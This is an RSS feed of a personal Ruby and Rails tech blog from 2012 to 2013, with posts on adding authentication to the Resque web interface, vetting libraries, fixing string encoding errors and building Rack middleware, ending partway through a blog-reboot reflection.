<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
  <channel>
    <title>WhatCodeCraves</title>
    <link>http://www.whatcodecraves.com/</link>
    <description>Jerry Cheung's portfolio and tech blog</description>
    <language>en-us</language>
    <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/whatcodecraves" /><feedburner:info uri="whatcodecraves" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
      <title>Protecting Resque::Server</title>
      <description>&lt;p&gt;Resque ships with a Sinatra app that can be mounted within your application for
inspecting the status of your workers and jobs. By default, there's no
authentication built in. But thanks to the fact that Sinatra is rack-able, you
can put a middleware in front of it for handling authentication. For example, to
add HTTP Basic auth, you can use Rack's built-in
&lt;a href="https://github.com/chneukirchen/rack/blob/master/lib/rack/auth/basic.rb"&gt;Rack::Auth::Basic&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;HTTP Basic authentication&lt;/h3&gt;&lt;pre&gt;&lt;code class="ruby"&gt;protected_app = Rack::Auth::Basic.new(Resque::Server) do |username, password|
  password == 'some-secret'
end

# mount protected_app in Rails, or other rack application…
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This kind of works, but I always forget the password and have to look it up. It
also sucks for on boarding new developers since it's not very discoverable. An
improved solution is to piggyback onto your existing authentication system. For
one of our apps, we use Devise, which exposes the user object in the Rack &lt;code&gt;env&lt;/code&gt;
object. Roughly, our rescue authentication looks like:&lt;/p&gt;&lt;h3&gt;Devise or other authentication library&lt;/h3&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# config/initializers/resque.rb
class AuthenticatedMiddleware
  def initialize(app)
    @app = app
  end

  def call(env)
    if env['warden'].authenticated? &amp;amp;&amp;amp; env['warden'].user.staff?
      @app.call(env)
    else
      [403, {'Content-Type' =&amp;gt; 'text/plain'}, ['Authenticate first']]
    end
  end
end

Resque::Server.use(AuthenticatedMiddleware)

# config/routes.rb
mount Resque::Server, :at =&amp;gt; '/resque'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the main application is a Rails app, you can also use &lt;a href="http://guides.rubyonrails.org/routing.html#advanced-constraints"&gt;routing
constraints&lt;/a&gt; to
limit access. The benefit here is the Rail request and session object are
available. For example, in another internal-only application, we only check that
the session includes a user id:&lt;/p&gt;&lt;h3&gt;Rails route contraints&lt;/h3&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# config/routes.rb
class SessionAuthenticatedConstraint
  def self.matches?(request)
    !request.session[:user_id].blank?
  end
end

constraints(SessionAuthenticatedConstraint) do
  mount Resque::Server, :at =&amp;gt; '/resque'
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Overall, I prefer the last approach because it's easy to understand, easy to
test, idiomatic of Rails conventions, and short.&lt;/p&gt;&lt;p&gt;Shout outs to
&lt;a href="https://twitter.com/kdaigle"&gt;@kdaigle&lt;/a&gt; for code reviewing me and suggesting the
last approach, and &lt;a href="https://twitter.com/jonmagic"&gt;@jonmagic&lt;/a&gt; for reviewing this post.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/LxKDt9rMvew" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 17 May 2013 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/LxKDt9rMvew/protecting-resque-server</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2013/05/17/protecting-resque-server</feedburner:origLink></item>
    <item>
      <title>Interview your libraries</title>
      <description>&lt;p&gt;I love working with John Barnette, even if we don't work on the same stuff
regularly. The other day, he wrote this in a discussion:&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;Every time we bring in an external library, we inherit its opinions,
shortcomings, idioms, and taste. This isn't a reason to rewrite everything
ourselves, but it's good for us to interview libraries like we interview new
GitHubbers.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;I loved this. In two short sentences, Barnette summed up why we should
evaluate new dependencies before adding them to an existing project.&lt;/p&gt;&lt;h2&gt;Why not drop in a library?&lt;/h2&gt;&lt;p&gt;It's tempting to add a library that promises to do 90% of your goal. But that
instant gratification often comes with delayed hidden costs. Things I've been
bitten by in the past include:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Security. It's hard, and no one gets it right the first time.&lt;/li&gt;
&lt;li&gt;Performance. Sure it works in the simple case, but does it scale?&lt;/li&gt;
&lt;li&gt;Complexity. It's not worth importing a kitchen sink if you're only
planning to use one small method.&lt;/li&gt;
&lt;li&gt;Lack of benefit. Some libraries just don't buy you very much.
Syntactic sugar is nice if it wraps an ugly interface, but if it doesn't,
it means keeping two interfaces in you head while you work.&lt;/li&gt;
&lt;li&gt;Organizational cost. Does your team know how to use it? If not,
is it worth it for them to pick it up? It's better to choose something plainer,
simpler, and more explicit if it means the rest of your team can easily
understand and work with it.&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;What about frameworks and ORMs?&lt;/h2&gt;&lt;p&gt;I've worked with Rails for a long time now, and I have a good sense of where
to poke around if I have questions. But let's be honest, with 183 commits made
by 63 authors in the last week alone, I'll never &lt;em&gt;know&lt;/em&gt; Rails inside and out.&lt;/p&gt;&lt;p&gt;&lt;img src="http://f.cl.ly/items/0q0a1q2j3O2C1m1E3P1Y/Screen%20Shot%202013-05-07%20at%208.42.29%20PM.png" alt=""&gt;&lt;/p&gt;&lt;p&gt;Rails is large and complex. Yet, I'm happy to use it daily in my project. Why?
Because I trust the project and community to stick around. It'd be a pain to
rewrite what Rails buys you. Plus, the documentation is great, there are
timely security patches, and my team knows how to use it.&lt;/p&gt;&lt;h2&gt;Go with your gut&lt;/h2&gt;&lt;p&gt;None of the hidden costs I listed above are hard rules for rejecting a
library. But the next time you think about adding a library to your codebase,
grill it with some hard questions and see if it's worth adding.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/m1d3lkSGD6c" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 9 May 2013 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/m1d3lkSGD6c/interview-your-libraries</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2013/05/09/interview-your-libraries</feedburner:origLink></item>
    <item>
      <title>Ruby Incompatible Encoding Errors</title>
      <description>&lt;p&gt;String encodings is like air. Completely necessary and never on your mind
until something goes wrong. Encoding bugs are painful and often feel like the
black arts. Follow the jump for an aggregation of past experiences for solving
these tricky problems.&lt;/p&gt;&lt;h2&gt;Background&lt;/h2&gt;&lt;p&gt;The first time you think of encodings in Ruby is probably the first time you
see an exception along the lines of:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;incompatible character encodings: ASCII-8BIT and UTF-8
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Before you pull out your hair, I recommend reading &lt;a href="http://blog.grayproductions.net/articles/understanding_m17n"&gt;James Edward Grey
II's&lt;/a&gt; in depth
coverage on why and what encodings are. Markus Prinz's &lt;a href="http://nuclearsquid.com/writings/ruby-1-9-encodings/"&gt;Working with Encodings
in Ruby 1.9&lt;/a&gt; is also a
good read. Go ahead, this article will wait.&lt;/p&gt;&lt;p&gt;The core cause of the above error is when your code tries to mash two strings
with different encodings together. For example, trying to glue a UTF-8 Chinese
string to an ASCII-8BIT English string. They're hard to hunt down because the
error is generated in C code and doesn't descend from the Exception class.
This means you can't &lt;code&gt;rescue&lt;/code&gt; the error to inspect it. Your best tool for
finding the origin of the error is to learn about the &lt;a href="http://ruby-doc.org/core-2.0/Encoding.html"&gt;Encoding&lt;/a&gt;
module. Once you're familiar with that API, it's easy to inspect the encoding
to check it's what you expected.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;"some string".encoding
"some string".force_encoding('UTF-8')
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Rails&lt;/h3&gt;&lt;p&gt;Rails defaults to UTF-8 for encoding. You can change it via application.rb
with:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;config.encoding = 'UTF-8'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Yehuda Katz has a &lt;a href="http://yehudakatz.com/2010/05/05/ruby-1-9-encodings-a-primer-and-the-solution-for-rails/"&gt;good write
up&lt;/a&gt;
describing the problem. The long term solution is to have
libraries that deal with external strings to respect
&lt;code&gt;Encoding.default_internal&lt;/code&gt;&lt;/p&gt;&lt;h3&gt;Databases&lt;/h3&gt;&lt;p&gt;To make sure your database uses the correct encoding, set your connection
adapter to the correct encoding:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# config/database.yml
development:
  encoding: unicode
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Views&lt;/h3&gt;&lt;p&gt;When template views are read in from the filesystem, it respects the global
ruby default for encoding. This can be overridden by a special shebang-like
declaration at the top of the file:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# encoding: utf-8
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Check out &lt;a href="http://api.rubyonrails.org/classes/ActionView/Template.html#method-i-encode-21"&gt;ActionView::Template#encode!&lt;/a&gt;
for more details.&lt;/p&gt;&lt;p&gt;If you're seeing an incompatible encoding error in a view, it's possible that
it's caused by rendering a value from an external gem or string. Remember that
the &lt;code&gt;render&lt;/code&gt; method returns a string. A quick way to inspect that your
partials are in the correct encoding is to save the result of a partial into a
variable and print it's encoding:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;&amp;lt;% output = render(:partial =&amp;gt; 'some/partial') %&amp;gt;
&amp;lt;%= output.encoding %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Heroku&lt;/h3&gt;&lt;p&gt;Don't &lt;a href="http://stackoverflow.com/questions/7612912/set-utf-8-as-default-%0Astring-encoding-in-heroku"&gt;forget to set your environment
variable&lt;/a&gt; to the correct default encoding.&lt;/p&gt;&lt;pre&gt;&lt;code class="sh"&gt;$ heroku config:add LANG=en_US.UTF-8
&lt;/code&gt;&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/3o3QnJEqZzU" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 5 Mar 2013 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/3o3QnJEqZzU/ruby-incompatible-encoding</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2013/03/05/ruby-incompatible-encoding</feedburner:origLink></item>
    <item>
      <title>Ruby on Rack</title>
      <description>&lt;p&gt;Rack is a simple and flexible library for building Ruby web applications and
web frameworks. It powers frameworks like Rails and Sinatra, and can be used
to build custom reusable components called Rack middleware. If you develop web
apps with Ruby, you're likely using Rack even if you're unaware of it. While
it's typically used to build low-level abstractions close to HTTP, knowing how
to use it leads to more modular designs and allows you to leverage a large
list of existing Rack components. In this post, I introduce what Rack is step
by step, and point towards some useful applications in the wild.&lt;/p&gt;&lt;p&gt;Rack &lt;a href="http://chneukirchen.org/blog/archive/2007/02%0A/introducing-rack.html"&gt;was released in 2007&lt;/a&gt; by Christian Neukirchen. The &lt;a href="http://rack.rubyforge.org/doc/README.html"&gt;project
README&lt;/a&gt; starts with:&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;Rack provides a minimal, modular and adaptable interface for developing web
applications in Ruby. By wrapping HTTP requests and responses in the
simplest way possible, it unifies and distills the API for web servers, web
frameworks, and software in between (the so-called middleware) into a single
method call.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;Confused? Don't worry, we'll go over each part individually.&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;By wrapping HTTP requests and responses in the simplest way possible...&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;Stepping back from Ruby, what is the 'simplest way' to think about an HTTP
request and response? Without knowing the language or framework an application
is using, the perspective from a webapp looks like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;HTTP Request -&amp;gt; Webapp -&amp;gt; HTTP Response
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An HTTP request has a method like GET or POST, a server host and port, some
uri resource path, and optionally a query string.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;GET /posts?page=2     # method, resource uri, query string
Accept: 'text/html'   # one or more HTTP headers...
Cookie: 'foo=bar'
X-Custom: 'value'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The web application's job is to takes this information and generate a HTTP
response like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;200 OK
Content-Type: 'text/html'
Content-Length: 75
&amp;lt;html&amp;gt;
  &amp;lt;body&amp;gt;Hello!&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Without knowing &lt;strong&gt;how&lt;/strong&gt; the response was generated, the parts of an HTTP
response are the same independent of language and framework. The &lt;code&gt;200&lt;/code&gt; &lt;a href="http://en.wikipedia.org/wiki/List_of_HTTP_status_codes"&gt;status
code&lt;/a&gt; indicates a
successful response. Additionally, &lt;a href="http://en.wikipedia.org/wiki/List_of_HTTP_header_fields"&gt;HTTP header
fields&lt;/a&gt; describe what
the response is.&lt;/p&gt;&lt;p&gt;Rack wraps the request and response information into one large hash called the
&lt;strong&gt;environment hash&lt;/strong&gt;. Rack passes this &lt;code&gt;env&lt;/code&gt; hash to your application and
expects a return value with 3 parts:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;status&lt;/strong&gt;  - an HTTP status code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;headers&lt;/strong&gt; - a hash of response headers. e.g. &lt;code&gt;Content-Type&lt;/code&gt;, &lt;code&gt;Content-Length&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;bodies&lt;/strong&gt;  - an array-like object that responds to &lt;code&gt;#each&lt;/code&gt; and yields strings of
            response content&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;
&lt;p&gt;[rack] unifies and distills the API for web servers, web frameworks ... into
a single method call&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;The only entry point that a Rack component must implement is a method named
&lt;code&gt;#call&lt;/code&gt; that takes the &lt;code&gt;env&lt;/code&gt; hash as its only argument. For example, the
following is a valid Rack application:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;class MyApp
  def call(env)
    # env has request/response information
    puts env['PATH_INFO']
    puts env['HTTP_ACCEPT']

    # return status, headers, and response bodies.
    # note that multiple response bodies will be concatenated.
    [200, {'Content-Type' =&amp;gt; 'text/html'}, ['Hello!']]
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As an application developer, you can think in terms of the &lt;code&gt;env&lt;/code&gt; hash instead
of parsing out all the HTTP values manually. The response &lt;code&gt;MyApp&lt;/code&gt; generates is
returned in the last line as an array, and has the status code, headers, and
list of response bodies.&lt;/p&gt;&lt;p&gt;Rack also provides an object-oriented interface to access request information
and building responses. &lt;code&gt;MyApp&lt;/code&gt; can also be written as:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;class MyApp
  def call(env)
    request  = Rack::Request.new(env)
    request.get?     # is the request a GET request?
    request.params   # query parameters
    request.cookies  # yummy

    # do stuff with `request`...

    response = Rack::Response.new
    response['Content-Type'] = 'text/html'
    response.write 'Hello!'

    response.finish  # converts object into rack expected response
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We say something is &lt;strong&gt;rackable&lt;/strong&gt; when it responds to a method &lt;code&gt;#call&lt;/code&gt; that
takes one argument (the &lt;code&gt;env&lt;/code&gt; hash), and returns a rack compatible response.
For really simple Rack components, a common shortcut is to use a
&lt;a href="http://www.robertsosinski.com/2008/12/21/understanding-ruby-blocks-%0Aprocs-and-lambdas/"&gt;lambda&lt;/a&gt; to define an anonymous endpoint. Because lambdas and procs
respond to &lt;code&gt;#call&lt;/code&gt;, it fits the Rack requirement.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;lambda {|env|
  [200, {'Content-Type' =&amp;gt; 'text/plain'}, ['This is a valid rack app']]
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;See the documentation for
&lt;a href="http://rack.rubyforge.org/doc/classes/Rack/Request.html"&gt;Rack::Request&lt;/a&gt; and
&lt;a href="http://rack.rubyforge.org/doc/classes/Rack/Response.html"&gt;Rack::Response&lt;/a&gt; for
details. The &lt;a href="http://rack.rubyforge.org/doc/SPEC.html"&gt;Rack specification&lt;/a&gt; has
a full listing of what's available in the environment hash.&lt;/p&gt;&lt;p&gt;Now that we've seen what Rack is, let's explore the benefits from implementing
this contract.&lt;/p&gt;&lt;h2&gt;Application Server Independence&lt;/h2&gt;&lt;p&gt;An application server is a library responsible for handling the plumbing of
HTTP. It takes care of things like binding to a port, listening for
connections, parsing headers, and constructing responses. Sometimes they are a
collection of tools each responsible for one part of serving a HTTP request,
other times, they may be one monolithic tool that handles all parts of the
HTTP lifecycle. Each app server has different features, allowing you to choose
one that's right for your needs.&lt;/p&gt;&lt;p&gt;Rack makes it easy to switch between app servers without touching your
application code. For example, to serve our sample application with the
builtin Ruby HTTP server WEBrick:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;require 'rack'

class MyApp
  def call(env)
    [200, {'Content-Type' =&amp;gt; 'text/html'}, ['hello']]
  end
end

Rack::Handler::WEBrick.run(MyApp.new, {:Port =&amp;gt; 3000})
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you wanted to use a different app server, for example Thin, then you can
change the last line to:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;Rack::Handler::Thin.run(MyApp.new, {:Port =&amp;gt; 3000})
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Both of the above files can be directly run from the command line. See the
&lt;a href="http://rack.rubyforge.org/doc/classes/Rack/Handler.html"&gt;Rack::Handler
documentation&lt;/a&gt; for
details.&lt;/p&gt;&lt;h2&gt;Middleware Architecture&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Rack middleware&lt;/strong&gt; is a Rack component that manipulates the environment hash
before invoking another Rack component's &lt;code&gt;#call&lt;/code&gt; method. Middleware can be
used to modify a request before an application sees it, or modify a response
generated by an application. This is useful for building shared filters that
are independent of the underlying application. For example, to filter the word
'truck' from all response bodies:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;class ProfanityFilter
  # Middleware need to accept a downstream Rack component
  def initialize(app)
    @app = app
  end

  def call(env)
    # call underlying application, returning the standard rack response
    # @app is always initialized as the `next` rack component to call
    status, headers, bodies = @app.call(env)

    # modify response bodies in place
    bodies.map! {|body| body.gsub! /truck/, ''}

    # return a valid rack response
    [status, headers, bodies]
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This middleware is an example of a middleware that modifies the response
generated by a downstream application. Like other Rack components, it also
uses &lt;code&gt;#call&lt;/code&gt; as it's entry point. In addition to this, its first constructor
argument has to be another Rack component. The convention is to save this
argument in an instance variable called &lt;code&gt;@app&lt;/code&gt;. Middleware can determine when
it wants to call the downstream app, and what to do with the app's response.&lt;/p&gt;&lt;p&gt;By having this stackable chain of middleware components feeding into each
other and manipulating each others' inputs and responses, it makes it possible
to compose application behavior in separate reusable components rather than a
single fat blob of code.&lt;/p&gt;&lt;h2&gt;Composing Middleware&lt;/h2&gt;&lt;p&gt;Rack comes builtin with a utility object for composing middlewares and
applications together called &lt;a href="http://m.onkey.org/ruby-on-rack-2-the-builder"&gt;Rack::Builder&lt;/a&gt;. For example the following wraps the &lt;code&gt;ProfanityFilter&lt;/code&gt;
middleware around the &lt;code&gt;MyApp&lt;/code&gt; application:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;app = Rack::Builder.new do
  use ProfanityFilter
  run MyApp
end

Rack::Handler::WEBrick.run(MyApp.new, {:Port =&amp;gt; 3000})
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To further remove boilerplate code, Rack comes with a convenience executable
called &lt;code&gt;rackup&lt;/code&gt; that allows you to swap out servers without any code. When run
without arguments, &lt;code&gt;rackup&lt;/code&gt; looks for a file named &lt;code&gt;config.ru&lt;/code&gt; to configure a
&lt;code&gt;Rack::Builder&lt;/code&gt; instance:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# sample 'config.ru' evaluated within a Rack::Builder instance
use ProfanityFilter
run MyApp
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then to run the application from the commandline:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;gt; rackup config.ru
&amp;gt; rackup -s thin -p 4000  # use thin as a server and run on port 4000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Any additional arguments passed to &lt;code&gt;use&lt;/code&gt; will be passed to the contructor of
the middleware. Remember that the first argument of a middleware is always the
downstream Rack component:&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;# extra arguments are passed into the middleware constructor
use Rack::Session::Cookie, :key =&amp;gt; 'rack.session'
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Adding Functionality via Middleware&lt;/h2&gt;&lt;p&gt;Multiple Rack components can manipulate the environment hash serially without
knowing what other rack components are being used. Each component run after
the last, and its own response is passed back to the component above it.
Sometimes a middleware will inject additional functionality into the
environment hash for downstream components to use. One example is
&lt;a href="http://rack.rubyforge.org/doc/classes/Rack/Session/Cookie.html"&gt;Rack::Session::Cookie&lt;/a&gt;, a middleware that adds a &lt;code&gt;env['rack.session']&lt;/code&gt;
object for downstream apps to use.&lt;/p&gt;&lt;pre&gt;&lt;code class="ruby"&gt;use Rack::Session::Cookie

run lambda {|env|
  # Rather than manipulating cookies ourselves, the upstream middleware gave
  # us a helper object to set and read cookies

  puts env['rack.session']  # read what's in our session
  env['rack.session']['some_key'] = 'some_value'  # written to cookie for us
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Because the environment hash is a plain old Ruby hash, you can decorate it
with any functionality you want. Typically the convention is to use string
keys and to namespace the key by the project name. For example, &lt;a href="https://github.com/intridea/omniauth"&gt;OmniAuth&lt;/a&gt;
is a Rack library that allows applications to plugin different authentication
providers. When authentication completes, the relevant auth information is
given in an &lt;code&gt;env['omniauth.auth']&lt;/code&gt; hash. The values don't have to be Ruby
primitive objects either. In &lt;a href="https://github.com/intridea/rack-stream"&gt;Rack::Stream&lt;/a&gt;, a library for building
streaming Ruby webapps, &lt;code&gt;env['stream.app']&lt;/code&gt; is a &lt;a href="https://github.com/intridea/rack-stream/blob/master/lib/rack/stream/app.rb"&gt;Rack::Stream::App&lt;/a&gt;
instance that has callable methods and features that can be used downstream.
The contract of what's made available downstream is up to individual
libraries, but the separate between each layer helps keep the components
separate and well factored.&lt;/p&gt;&lt;h3&gt;Rails on Rack&lt;/h3&gt;&lt;p&gt;Rails is one of the best examples of a complex chain of middleware in action.
In fact, if you generate a bare Rails app, and run &lt;code&gt;rake middleware&lt;/code&gt;, you'll
see:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;gt; rake middleware

use ActionDispatch::Static
use Rack::Lock
use #&amp;lt;ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007f8424bd1a50&amp;gt;
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use ActionDispatch::DebugExceptions
use ActionDispatch::RemoteIp
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::ConnectionAdapters::ConnectionManagement
use ActiveRecord::QueryCache
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use ActionDispatch::ParamsParser
use ActionDispatch::Head
use Rack::ConditionalGet
use Rack::ETag
use ActionDispatch::BestStandardsSupport
run MyApp::Application.routes
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Each item in this list processes an incoming environment hash and calls the
Rack component under it in turn. What do all these entries have in common?
They all respond to &lt;code&gt;#call&lt;/code&gt;, and they all follow the Rack specification.&lt;/p&gt;&lt;p&gt;The final entry, &lt;code&gt;MyApp::Application.routes&lt;/code&gt;, is the routes defined by
&lt;code&gt;config/routes.rb&lt;/code&gt; and is an &lt;code&gt;ActionDispatch::Routing::RouteSet&lt;/code&gt; object that
maps path info to controller actions. Each Rails controller action is a Rack
endpoint in itself. You can verify this by running the following in a &lt;code&gt;rails
console&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# assuming a controller named `MyController` with an `index` action:
&amp;gt; rails console
&amp;gt; MyController.action(:show)
#&amp;lt;Proc:0x007ff1ed33bfd0@/Users/jch/.rvm/gems/ruby-1.9.3-p194/gems/actionpack-3.2.6/lib/action_controller/metal.rb:245&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can see that fetching an action by name returns a &lt;code&gt;Proc&lt;/code&gt; object, which
responds to &lt;code&gt;#call&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;For additional Rails specific tips and information on Rack, check out the
Rails guide &lt;a href="http://guides.rubyonrails.org/rails_on_rack.html"&gt;Rails on
Rack&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Interesting Rack Projects&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/brynary/rack-test/"&gt;Rack::Test&lt;/a&gt; - test rack middleware and apps. Used by other test frameworks.&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://tomayko.com/writings/rack-cache-announce"&gt;Rack::Cache&lt;/a&gt; - one of my
favorites. Teaches you how HTTP caching works, and a very useful middleware.
Also checkout &lt;a href="https://github.com/jch%0A/activesupport-cascadestore"&gt;activesupport-cascadestore&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/cyu/rack-cors"&gt;Rack::Cors&lt;/a&gt; - cross origin resource sharing. Lets you do cross-domain ajax&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/ddollar/rack-profile"&gt;Rack::Profile&lt;/a&gt; - use ruby's profiler to see what's slow&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/rack/rack-contrib/"&gt;rack-contrib&lt;/a&gt; - whole bunch of useful middlewares&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/achiu/rack-recaptcha"&gt;Rack::Recaptcha&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/jtrupiano/rack-rewrite"&gt;Rack::Rewrite&lt;/a&gt; - rewrite incoming urls&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ruby-toolbox.com/search?utf8=%E2%9C%93&amp;amp;q=rack-"&gt;Ruby Toolbox Rack Projects&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Resources&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://chneukirchen.org/blog/archive/2007/02%0A/introducing-rack.html"&gt;Introducing Rack&lt;/a&gt; - rack's author Christian Neukirchen explains the
rationale behind writing rack.&lt;/li&gt;
&lt;li&gt;Railscasts has a &lt;a href="http://railscasts.com/episodes/151-rack-middleware"&gt;Rack Middleware
screencast&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://guides.rubyonrails.org/rails_on_rack.html"&gt;Rails on Rack&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/oNGvuPc8bM4" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 23 Jul 2012 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/oNGvuPc8bM4/ruby-on-rack</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2012/07/23/ruby-on-rack</feedburner:origLink></item>
    <item>
      <title>Blog Reboot, Lessons Learned</title>
      <description>&lt;p&gt;It's been four years since I initially started this blog. I had no
expectations or goals for what this blog would be. But now as I read
some of my earlier posts, I find it very humbling to see how I've
grown as a developer, and as a person. I want to highlight a few
old posts that jumped out at me when I read them.&lt;/p&gt;&lt;h2&gt;&lt;a href="/articles/2008/01/27/flaco-blog"&gt;Flaco Blog&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the earliest days of this blog, I think I was more interested in
writing a blogging system than actually blogging. The original code
that generated this site were a kludgey set of Perl scripts that
stitched together markdown content into HTML. It's fun to read my
rationale behind building a blog engine, but in reality, it was a
mistake to build something from scratch rather than to extend an
existing system. Now I'm stuck with it, but at least the &lt;a href="https://github.com/jch/whatcodecraves.com"&gt;latest
version&lt;/a&gt; is a lot tidier
and more maintainable than my earlier attempts.&lt;/p&gt;&lt;h2&gt;&lt;a href="/articles/2008/03/10/premature-software-testing"&gt;Premature Software Testing&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;I laughed at how stupid most of my earlier posts sound, but
this post on premature testing stood out as one of the few posts
that still feel relevant today. In the same vein of overtesting,
I also really enjoyed DHH's post
&lt;a href="http://37signals.com/svn/posts/3159-testing-like-the-tsa"&gt;Testing like the TSA&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Fresh Starts&lt;/h2&gt;&lt;p&gt;I've enjoyed and learned a lot at each place I've worked at. I
still keep in touch with ex-coworkers, and have met some of my closest
friends through work. While I don't have blog posts going all the way
